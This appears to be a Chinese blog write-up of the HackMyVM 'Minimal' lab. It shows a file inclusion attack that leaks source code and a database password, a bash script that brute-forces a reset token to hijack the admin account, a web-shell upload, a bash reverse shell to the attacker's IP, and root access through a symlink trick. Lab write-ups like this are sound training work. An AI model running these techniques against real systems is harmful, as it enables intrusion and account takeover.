[HackMyVM]靶场 Minimal

kali:192.168.56.104

靶机:192.168.56.135

端口扫描

# nmap 192.168.56.135
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-25 20:13 CST
Nmap scan report for 192.168.56.135
Host is up (0.000097s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

22 80 两个端口

扫一下目录

# gobuster dir -u http://192.168.56.135 -x html,txt,php,bak,zip --wordlist=/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.56.135
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,txt,php,bak,zip
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html                (Status: 403) [Size: 279]
/index.php            (Status: 200) [Size: 6297]
/login.php            (Status: 200) [Size: 1019]
/register.php         (Status: 200) [Size: 1097]
/.php                 (Status: 403) [Size: 279]
/admin.php            (Status: 302) [Size: 0] [--> login.php]
/buy.php              (Status: 200) [Size: 892]
/imgs                 (Status: 301) [Size: 315] [--> http://192.168.56.135/imgs/]
/logout.php           (Status: 302) [Size: 0] [--> /index.php]
/config.php           (Status: 200) [Size: 0]
/styles               (Status: 301) [Size: 317] [--> http://192.168.56.135/styles/]
/robots.txt           (Status: 200) [Size: 12]
/restricted.php       (Status: 302) [Size: 0] [--> ../index.php]
/shop_cart.php        (Status: 302) [Size: 0] [--> ../index.php]
/.html                (Status: 403) [Size: 279]
/.php                 (Status: 403) [Size: 279]
/server-status        (Status: 403) [Size: 279]
Progress: 1323360 / 1323366 (100.00%)
===============================================================
Finished
===============================================================

大体看一下没有文件上传

去看web

随便注册一个账号登录

点几个东西购买,在购物车结账的时候注意到url有文件包含

http://192.168.56.135/shop_cart.php?action=buy

刚才扫目录扫到一个buy.php

可能后端会拼接.php

测试index.php发现成功

http://192.168.56.135/shop_cart.php?action=index

产生包含admin和config失败

利用filter包含

//config.php
<?php
$servername = "localhost";
$username = "shop_admin";
$password = "Hey-Pls-Dont-Crack-This-Passwd";
$dbname = "shop";

$conn = new mysqli($servername, $username, $password, $dbname);

// Verificar la conexión
if ($conn->connect_error) {
    die("Error" . $conn->connect_error);
}

// Configurar el juego de caracteres
$conn->set_charset("utf8");
?>
//admin.php
<?php
require_once "./config.php";

session_start();

if ($_SESSION['username'] !== 'admin') {
    header('Location: login.php');
    exit;
}

$logged = false;

if (isset($_SESSION['loggedin']) && $_SESSION['loggedin'] === true) {
    $logged = true;
}

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $nombre = $_POST['nombre'];
    $autor = $_POST['autor'];
    $precio = $_POST['precio'];
    $descripcion = $_POST['descripcion'];

    if (isset($_FILES['imagen'])) {
        $imagen = $_FILES['imagen'];
        if ($imagen['error'] === UPLOAD_ERR_OK) {
            $ruta_destino = './imgs/' . basename($imagen['name']);

            if (move_uploaded_file($imagen['tmp_name'], $ruta_destino)) {
                $query = $conn->prepare("INSERT INTO products (name, author, price, description) VALUES (?, ?, ?, ?)");
                $query->bind_param("ssds", $nombre, $autor, $precio, $descripcion);
                // Ejecutar la consulta
                if ($query->execute()) {
                echo "Uploaded";
                } else {
                    echo "Error";
                }
            } else {
                //"Error al subir la imagen.";
                echo "Error";
            }
        } else {
            echo "Error: " . $imagen['error'];
        }
    }
}

?>

config提升我们好像要crack密码

admin.php检测session里面的username是否为admin,然后能进行后续的操作。但是我不知道密码,想到页面存在一个忘记密码功能,看一下后端逻辑

//http://192.168.56.135/shop_cart.php?action=php://filter/read=convert.base64-encode/resource=reset_pass
//reset_pass.php


<?php
require_once "./config.php";

$error = false;
$done = false;
$change_pass = false;

session_start();

$username = null;

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $username = $_POST['username'];

    $query = $conn->prepare("SELECT * FROM users WHERE user = ?");
    $query->bind_param("s", $username);

    $query->execute();
    $result = $query->get_result();

    if ($result->num_rows == 1) {
        while ($row = $result->fetch_assoc()) {
            $name = $row['user'];//获取用户名    
            $randomNumber = rand(1, 100);//生成一个1到100内的随机数字
            $nameWithNumber = $name . $randomNumber;//用户名和数字拼接    
            $md5Hash = md5($nameWithNumber);  //对拼接后的数据md5加密
            $base64Encoded = base64_encode($md5Hash);//对md5值base64编码

            $deleteQuery = $conn->prepare("DELETE FROM pass_reset WHERE user = ?");
            $deleteQuery->bind_param("s", $name);
            $deleteQuery->execute();  //删除旧密码

            $insertQuery = $conn->prepare("INSERT INTO pass_reset (user, token) VALUES (?, ?)");      //擦插入base64值
            $insertQuery->bind_param("ss", $name, $base64Encoded);
                
            if ($insertQuery->execute()) {
                $error = false;
                $done = true;
            } else {
                $error = true;
            }
        }
    } else {
        $error = true;
    }
}
//利用用户名 token和新密码更新数据库
if ($_SERVER['REQUEST_METHOD'] === 'GET') {
    if (isset($_GET['user']) and isset($_GET['token']) and isset($_GET['newpass'])) {
        $user = $_GET['user'];
        $token = $_GET['token'];
        $newpass = $_GET['newpass'];

        // Paso 1: Verificar si el usuario y token coinciden en la tabla pass_reset
        $query = $conn->prepare("SELECT token FROM pass_reset WHERE user = ?");
        $query->bind_param("s", $user);
        $query->execute();
        $result = $query->get_result();

        if ($result->num_rows > 0) {
            $row = $result->fetch_assoc();
            $storedToken = $row['token'];

            if ($storedToken === $token) {
                // Paso 2: Actualizar la contraseña en la tabla users
                $updateQuery = $conn->prepare("UPDATE users SET pass = ? WHERE user = ?");
                $hashedPassword = password_hash($newpass, PASSWORD_DEFAULT);
                $updateQuery->bind_param("ss", $hashedPassword, $user);

                if ($updateQuery->execute()) {
                    echo "Password updated";
                } else {
                    echo "Error updating";
                }
            } else {
                echo "Not valid token";
            }
        } else {
            echo "Error http 418 ;) ";
        }
    }
}
?>

几个关键地方看上面注释。

想要修改密码得知道token是什么

1-100内的数字可以爆破一下

# cat a.sh                 
#!bin/bash
for((i=1;i<=100;i++));do
        nameWithNumber="admin${i}"
        token=$(echo -n $nameWithNumber | md5sum | awk '{print $1}'| tr -d '\n' | base64)
        curl -X GET "http://192.168.56.135/reset_pass.php?user=admin&token=$token&newpass=admin"
done


#bash a.sh

执行之后admin密码就会修改成admin

登录之后进入admin.php可以上传文件

上传个马

发现文件被上传到imgs里面了

那么就反弹shell到kali

http://192.168.56.135/imgs/shell2.php?0=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.56.104%2F4567%20%200%3E%261%27

www-data权限能能看到white用户的user flag

www-data@minimal:/var/www/html$ cd /home
cd /home
www-data@minimal:/home$ ls -al
ls -al
total 12
drwxr-xr-x  3 root  root  4096 Nov  1 21:47 .
drwxr-xr-x 20 root  root  4096 Nov  1 21:42 ..
drwxr-xr-x  5 white white 4096 Nov  1 22:16 white
www-data@minimal:/home$ cd white
cd white
www-data@minimal:/home/white$ ls -al
ls -al
total 36
drwxr-xr-x 5 white white 4096 Nov  1 22:16 .
drwxr-xr-x 3 root  root  4096 Nov  1 21:47 ..
lrwxrwxrwx 1 white white    9 Nov  1 21:53 .bash_history -> /dev/null
-rw-r--r-- 1 white white  220 Jan  6  2022 .bash_logout
-rw-r--r-- 1 white white 3797 Nov  1 21:55 .bashrc
drwx------ 2 white white 4096 Nov  1 21:48 .cache
drwxrwxr-x 3 white white 4096 Nov  1 21:54 .local
-rw-r--r-- 1 white white  807 Jan  6  2022 .profile
drwx------ 2 white white 4096 Nov  1 21:47 .ssh
-rw-r--r-- 1 white white    0 Nov  1 21:48 .sudo_as_admin_successful
-rw-rw-r-- 1 white white   34 Nov  1 22:16 user.txt
www-data@minimal:/home/white$ cat user.txt
cat user.txt
HMV{can_you_find_the_teddy_bear?}

sudo -l发现有shop指令可以免密root

www-data@minimal:/home$ sudo -l
sudo -l
Matching Defaults entries for www-data on minimal:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User www-data may run the following commands on minimal:
    (root) NOPASSWD: /opt/quiz/shop
www-data@minimal:/opt/quiz$ sudo /opt/quiz/shop
sudo /opt/quiz/shop
1
2
3

Hey guys, I have prepared this little program to find out how much you know about me, since I have been your administrator for 2 years.
If you get all the questions right, you win a teddy bear and if you don't, you win a teddy bear and if you don't, you win trash
What is my favorite OS?
Nope!!
What is my favorite food?
Nope!!
What is my favorite text editor?
Nope!!
User name: Saving results .

执行了一下发现 就是问了几个问题

反编译看一下

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // rdi
  _DWORD v5[4]; // [rsp+10h] [rbp-20h] BYREF
  char *v6; // [rsp+20h] [rbp-10h]
  char *s; // [rsp+28h] [rbp-8h]

  strcpy((char *)v5, "results.txt");
  s = "Hey guys, I have prepared this little program to find out how much you know about me, since I have been your admin"
      "istrator for 2 years.";
  v6 = "If you get all the questions right, you win a teddy bear and if you don't, you win a teddy bear and if you don't, you win trash";
  puts(
    "Hey guys, I have prepared this little program to find out how much you know about me, since I have been your adminis"
    "trator for 2 years.");
  puts(
    "If you get all the questions right, you win a teddy bear and if you don't, you win a teddy bear and if you don't, you win trash");
  v5[3] = question_1(
            "If you get all the questions right, you win a teddy bear and if you don't, you win a teddy bear and if you d"
            "on't, you win trash");
  v5[3] += question_2(
             "If you get all the questions right, you win a teddy bear and if you don't, you win a teddy bear and if you "
             "don't, you win trash");
  v5[3] += question_3(
             "If you get all the questions right, you win a teddy bear and if you don't, you win a teddy bear and if you "
             "don't, you win trash");
  v3 = (__int64)v5;
  writeResults(v5, v5[3]);
  if ( v5[3] == 3 )
  {
    v3 = 3LL;
    print_prize(3LL);
  }
  if ( foo == 85 )
    wait_what(v3);
  return 0;
}




int print_prize()
{
  int result; // eax

  result = system("cat ./prize.txt");
  if ( result == -1 )
    return printf("Error");
  return result;
}

回答完三个问题能输出pirze内容,先看一下具体每个问题的答案吧

第一个问题最喜欢的系统,答案是linux

__int64 question_1()
{
  char s[112]; // [rsp+0h] [rbp-70h] BYREF

  puts("What is my favorite OS?");
  fgets(s, 200, _bss_start);
  if ( !strcmp(s, "linux\n") )
  {
    puts("Correct!!");
    return 1LL;
  }
  else
  {
    puts("Nope!!");
    return 0LL;
  }
}

第二个问题,最喜欢的食物

这里用到了一个secret_2的加密,其实就是凯撒加密,偏移量是v3就是5,解密出来是bacon pancakes

__int64 question_2()
{
  char s[112]; // [rsp+0h] [rbp-80h] BYREF
  size_t v2; // [rsp+70h] [rbp-10h]
  int v3; // [rsp+7Ch] [rbp-4h]

  puts("What is my favorite food?");
  fgets(s, 100, _bss_start);
  v3 = 5;
  v2 = strlen(s);
  if ( v2 && s[v2 - 1] == 10 )
    s[v2 - 1] = 0;
  secret_q2((__int64)s, v3);
  if ( !strcmp(s, "gfhts ufshfpjx") )
  {
    puts("Correct!!");
    return 1LL;
  }
  else
  {
    puts("Nope!!");
    return 0LL;
  }
}


__int64 __fastcall secret_q2(__int64 a1, int a2)
{
  __int64 result; // rax
  int i; // [rsp+18h] [rbp-4h]

  for ( i = 0; ; ++i )
  {
    result = *(unsigned __int8 *)(i + a1);
    if ( !(_BYTE)result )
      break;
    if ( *(char *)(i + a1) <= 96 || *(char *)(i + a1) > 122 )
    {
      if ( *(char *)(i + a1) > 64 && *(char *)(i + a1) <= 90 )
        *(_BYTE *)(i + a1) = (*(char *)(i + a1) - 65 + a2) % 26 + 65;
    }
    else
    {
      *(_BYTE *)(i + a1) = (*(char *)(i + a1) - 97 + a2) % 26 + 97;
    }
  }
  return result;
}

第三个问题

最喜欢的作者

这里又进行了secret_q3加密,翻遍以看q3返现就是异或处理,和第二个参数异或,也就是6

,结果是nvim with plugins

__int64 question_3()
{
  char s[108]; // [rsp+0h] [rbp-70h] BYREF
  int v2; // [rsp+6Ch] [rbp-4h]

  puts("What is my favorite text editor?");
  fgets(s, 100, _bss_start);
  v2 = 6;
  secret_q3(s, 6LL);
  if ( !strcmp(s, "hpok&qorn&vjsaohu\n") )
  {
    puts("Correct!!");
    return 1LL;
  }
  else
  {
    puts("Nope!!");
    return 0LL;
  }
}
__int64 __fastcall secret_q3(const char *a1, char a2)
{
  __int64 result; // rax
  int v3; // [rsp+18h] [rbp-8h]
  int i; // [rsp+1Ch] [rbp-4h]

  v3 = strlen(a1);
  for ( i = 0; ; ++i )
  {
    result = (unsigned int)(v3 - 1);
    if ( i >= (int)result )
      break;
    a1[i] ^= a2;
  }
  return result;
}

现在回答一下问题

看一下prize.txt

www-data@minimal:/opt/quiz$ sudo ./shop
Hey guys, I have prepared this little program to find out how much you know about me, since I have been your administrator for 2 years.
If you get all the questions right, you win a teddy bear and if you don't, you win a teddy bear and if you don't, you win trash
What is my favorite OS?
linux
Correct!!
What is my favorite food?
bacon pancakes
Correct!!
What is my favorite text editor?
nvim with plugins
Correct!!
User name: 123
Saving results .
HURRAY YOU HAVE FOUND ME
 _________________________________________________________
|\=========================================================\
||                                                         |
||        _        __        ___        __        _        |
||       ; `-.__.-'. `-.__.-'. .`-.__.-' .`-.__.-' :       |
||     _.'. . . . . . . . .,,,,,,,. . . . . . . . .`._     |
||   .'. . . . . . . . ,a@@@@@@@@@@@a, . . . . . . . .`.   |
||   `. . . . ,a@@@@@a@@@a@@@@@@@@@a@@@a@@@@@a, . . . ,'   |
||     ) . . a@@@@@@a@@@@@a@@@@@@@a@@@@@a@@@@@@a . . (     |
||   ,' . . .@@@%%%a@@@@@@@@@@@@@@@@@@@@@a%%%@@@  . . `.   |
||   `.. . . @@@%%a@@@@@@""@@@@@@@""@@@@@@a%%@@@ . . .,'   |
||     ). . . "@@a@@@@@@@@@SSSSSSS@@@@@@@@@a@@" . . .(     |
||   ,'. . . . . `@@@@@@@@SSS, ,SSS@@@@@@@@' . . . . .`.   |
||   `. . . . . . `@@@@@@@`SSS:SSS'@@@@@@@' . . . . . ,'   |
||     ) . . . . . `@@@@@@@sssssss@@@@@@@' . . . . . (     |
||   ,' . . . . . ,a@@a@@@@@@@@@@@@@@@a@@a, . . . . . `.   |
||   `.. . . . .a@@@a@@@@@a@@@a@@@a@@@@@a@@@a. . . . .,'   |
||     ). . . .a@@@@@a@@@@@@@@@@@@@@@@@a@@@@@a. . . .(     |
||   ,'. . . . @@@@@@a@@@@'   "   `@@@@a@@@@@@ . . . .`.   |
||   `. . . . .@@@@@@@aaaa,       ,aaaa@@@@@@@  . . . ,'   |
||     ) . . . `@@@@@@@@@@@@a, ,a@@@@@@@@@@@@' . . . (     |
||   ,' . . . . .`@@@@@@@@@@a@a@a@@@@@@@@@@'. . . . . `.   |
||   `;;;;;;;;;;;;aaaaaaaaaa@@@@@aaaaaaaaaa;;;;;;;;;;;;'   |
||     );;;;;;;,mMMMMMMMm@@@@@@@@@@@mMMMMMMMm,;;;;;;;(     |
||   ,;;;;;;;;a@%#%%#%%#%Mm@@@@@@@mM%#%%#%%#%@a;;;;;;;;,   |
||   `;;;;;;;;@@%%%%%%%%%%M@@";"@@M%%%%%%%%%%@@;;;;;;;;'   |
||     );;;;;;`@a%%%%%%%%mM";;;;;"Mm%%%%%%%%a@';;;;;;(     |
||   ,;;;;;;;;;;"@@@@@@@@";;;;;;;;;"@@@@@@@@";;;;;;;;;;,   |
||   `;;;;;;;;;;;;"""""";;;;;;;;;;;;;"""""";;;;;;;;;;;;'   |
||     );;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-Catalyst(     |
||     `:;;;:-~~~-:;;:-~~~-:;;;;;:-~~~-:;;:,-~~~-:;;;:'    |
||       ~~~       ~~        ~~~        ~~        ~~~      |
||                     .=============.                     |
||                     |   Mr. Bear  :                     |
||                     `-------------'                     |
\|_________________________________________________________|


And now what??

里面就是一之熊,root的flag无关

这里第一个解决方案是创建一个prize->/root/root.txt的软连接,但是要在www-data用户的家目录下进行,否则在/opt/quiz下进行我们没有读取这个目录下指向/root/root.txt的软连接

www-data@minimal:/var/www/html$ ln -sv /root/root.txt prize.txt
'prize.txt' -> '/root/root.txt'
www-data@minimal:/var/www/html$ sudo /opt/quiz/shop
Hey guys, I have prepared this little program to find out how much you know about me, since I have been your administrator for 2 years.
If you get all the questions right, you win a teddy bear and if you don't, you win a teddy bear and if you don't, you win trash
What is my favorite OS?
linux
Correct!!
What is my favorite food?
bacon pancakes
Correct!!
What is my favorite text editor?
nvim with plugins
Correct!!
User name: 1
Saving results .
HMV{never_gonna_ROP_you_down}

真是天才想出来的方法

还有一种方法,通过缓冲区溢出学过pwn的应该能想出来

看第一个问题的汇编

缓冲区为答案设置了112个字节,但是fget读取200个字节,小的缓冲区就可能造成缓冲区溢出

同时,在print_prize函数里面调用了一个system函数,该函数是在rdi寄存器里面的

剩下的静调,计算偏移量,socat什么的我就看不懂了😓,不过学习了软连接,收获挺大。

  • 11
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

tao0845

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值